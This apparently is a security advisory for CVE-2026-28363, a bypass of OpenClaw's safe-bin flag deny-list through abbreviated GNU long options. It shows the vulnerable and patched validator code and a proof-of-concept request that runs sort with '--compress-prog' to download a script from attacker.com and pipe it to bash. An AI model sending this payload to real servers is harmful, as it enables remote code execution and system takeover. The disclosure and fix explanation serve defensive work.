Mar 4, 2026·4 min read·3 visits
OpenClaw failed to block abbreviated GNU command-line flags. Attackers can bypass the allowlist for the 'sort' command using shortened flags like '--compress-p', leading to authenticated Remote Code Execution (RCE). Fixed in version 2026.2.23.
A critical remote code execution vulnerability exists in the OpenClaw automation platform (versions prior to 2026.2.23). The flaw resides in the 'safe-bin' allowlist validation logic, which fails to account for GNU long-option abbreviations when sanitizing command-line arguments. Low-privileged authenticated users can exploit this by supplying abbreviated flags (e.g., '--compress-p' instead of '--compress-program') to the 'sort' utility. This bypasses the security filter while still being interpreted by the underlying binary as a dangerous directive, allowing the execution of arbitrary system commands.
OpenClaw is an automation platform that permits the execution of specific system binaries through its safe-bin policy. To prevent abuse, the platform implements an allowlist of permitted binaries (such as sort, wc, or grep) and a deny-list of dangerous flags. For the sort utility, flags like --compress-program are explicitly blocked because they allow the execution of external programs.
The vulnerability, tracked as CVE-2026-28363, arises from a discrepancy between how OpenClaw validates arguments and how the GNU coreutils sort binary parses them. OpenClaw performed a strict string comparison against the deny-list. However, GNU argument parsing allows for unique abbreviations of long options. Consequently, an attacker can supply an abbreviated flag that does not match the deny-list string but is functionally equivalent to the dangerous flag when processed by the OS command.
The root cause is an Incomplete List of Disallowed Inputs (CWE-184) combined with a failure to canonicalize input before validation. The validation logic in src/infra/exec-safe-bin-policy.ts relied on an exact match lookup using a JavaScript Set. Specifically, the code checked if deniedFlags.has(userProvidedFlag) returned true.
The GNU getopt_long function, used by sort and many other Linux utilities, supports abbreviation. If a user provides --compress-p, and that prefix uniquely identifies --compress-program, the utility accepts it. The OpenClaw validator did not account for this behavior. It would see --compress-p, confirm that this string is not in the deniedFlags set (which only contained the full --compress-program), and pass the argument through to the shell.
This behavior creates a classic parser differential vulnerability: the security control (OpenClaw validator) and the sink (system shell/binary) interpret the same input differently.
The vulnerability existed in the argument verification loop. The original code performed a direct lookup against a static list of banned strings.
Vulnerable Logic (Conceptual):
const deniedFlags = new Set(["--compress-program", "--files0-from"]);
function isFlagAllowed(flag: string) {
// VULNERABLE: Only checks for exact string match
if (deniedFlags.has(flag)) {
return false;
}
return true;
}Patched Logic (v2026.2.23):
The fix, introduced in commit 3b8e33037, implements a canonicalization step. It resolves any input flag to its full, official name using prefix matching rules identical to GNU's behavior before checking the deny-list. It also enforces a "fail-closed" policy for ambiguous prefixes.
// FIX: Canonicalize before checking
function resolveCanonicalLongFlag(flag: string, knownLongFlags: string[]): string | null {
if (!flag.startsWith("--") || flag.length <= 2) return null;
// 1. Check exact match
if (knownLongFlags.includes(flag)) return flag;
// 2. Check for unique prefix match
const matches = knownLongFlags.filter((candidate) => candidate.startsWith(flag));
if (matches.length === 1) {
return matches[0]; // Expand abbreviation to full flag
}
return null; // Reject if ambiguous or unknown
}
// Usage in validator
const canonicalFlag = resolveCanonicalLongFlag(userFlag, allKnownSortFlags);
if (canonicalFlag && deniedFlags.has(canonicalFlag)) {
throw new Error("Dangerous flag detected");
}This ensures that --compress-p is expanded to --compress-program before the security check occurs, successfully triggering the block.
Exploitation requires authentication as a user with permissions to access the /api/tools/exec endpoint. The attacker constructs a JSON payload invoking the sort tool with the abbreviated dangerous flag.
Attack Steps:
sort binary is available in the safe-bin configuration.--compress-prog (or similar unique prefix) to define a shell command as the compression handler.sort will attempt to "compress" the input using the attacker's script.Proof of Concept:
POST /api/tools/exec HTTP/1.1
Authorization: Bearer <low_priv_token>
Content-Type: application/json
{
"tool": "exec",
"args": {
"cmd": "sort",
"args": [
"--compress-prog=sh -c 'curl http://attacker.com/rev.sh | bash'",
"-o", "/dev/null",
"/dev/null"
]
}
}Upon processing this request, the server executes the injected shell command with the privileges of the OpenClaw service user (often root or a dedicated service account).
The impact of this vulnerability is critical, rated at CVSS 9.9. Successful exploitation grants the attacker arbitrary code execution on the host server.
Security Implications:
Since OpenClaw is often used as an infrastructure automation tool, a compromise here could facilitate lateral movement into other managed environments or cloud resources. The attack vector is network-based and requires low privileges, meaning any compromised employee account or leaked API token could lead to full system takeover.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
OpenClaw OpenClaw | < 2026.2.23 | 2026.2.23 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-28363 |
| CVSS v3.1 | 9.9 (Critical) |
| CWE | CWE-184 (Incomplete List of Disallowed Inputs) |
| Attack Vector | Network (Authenticated) |
| Affected Component | safe-bin validation (sort utility) |
| Exploit Status | PoC Available |
The product does not correctly validate input against a list of allowed or disallowed inputs, allowing an attacker to bypass security checks.